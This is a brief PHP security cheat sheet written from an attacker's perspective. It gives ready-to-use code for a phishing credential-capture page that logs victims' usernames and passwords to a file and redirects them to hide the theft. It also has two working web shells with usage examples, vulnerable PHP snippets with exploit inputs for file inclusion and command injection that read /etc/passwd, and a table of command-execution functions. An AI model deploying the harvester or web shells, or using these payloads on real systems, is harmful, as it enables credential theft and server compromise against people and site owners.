PHP - Hypertext Preprocessor

2 min readArticle

PHP is a server-side scripting language that runs on the web server and generates HTML dynamically. It powers a huge chunk of the internet (WordPress, Drupal, Joomla). Relevant for security because: tons of PHP apps have vulns, phishing/credential harvesting pages are often PHP, and web shell payloads are typically PHP.

Security Relevance

Most web shells are written in PHP ()
WordPress vulnerabilities are usually PHP-based
SQLi, LFI, RFI, command injection often occur in PHP code
Phishing credential capture backends are often quick PHP scripts

Minimal Credential Capture Page

The classic evil twin / phishing backend:

php

<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $username = $_POST['username'];
    $password = $_POST['password'];
    $ip = $_SERVER['REMOTE_ADDR'];
    $timestamp = date('Y-m-d H:i:s');
    
    // Log to file
    $log = "$timestamp | IP: $ip | User: $username | Pass: $password\n";
    file_put_contents('creds.txt', $log, FILE_APPEND);
    
    // Redirect to real site to avoid suspicion
    header('Location: https://realsite.com/login?error=1');
    exit();
}
?>

Web Shell Basics

php

<?php system($_GET['cmd']); ?>
<!-- Usage: http://target/shell.php?cmd=whoami -->

<!-- Slightly more featured -->
<?php
if(isset($_POST['cmd'])) {
    echo '<pre>' . shell_exec($_POST['cmd']) . '</pre>';
}
?>

Common PHP Vulnerabilities

php

// SQL Injection
$query = "SELECT * FROM users WHERE user='" . $_GET['user'] . "'";
// Fix: use prepared statements

// Local File Inclusion (LFI)
include($_GET['page'] . '.php');
// Exploit: ?page=../../../../etc/passwd%00

// Remote Code Execution via file upload
// If user can upload .php files → game over

// Command Injection
exec("ping " . $_GET['host']);
// Exploit: ?host=google.com; cat /etc/passwd

PHP Config to Know

/etc/php/php.ini — key settings:

allow_url_fopen — if on, allows remote file includes
allow_url_include — enables RFI attacks if on
display_errors — should be off in production (leaks info)
open_basedir — limits file access to specific dirs

Useful Functions (Attacker Perspective)

Function	Use
`system()`	Execute command, print output
`exec()`	Execute command, return last line
`shell_exec()`	Execute via shell, return all output
`passthru()`	Execute and pass raw output
`file_get_contents()`	Read local/remote files
`base64_decode()`	Often used to obfuscate web shells

Quick PHP Server

bash

# Serve current directory on port 8080
php -S 0.0.0.0:8080

# Run a PHP file
php script.php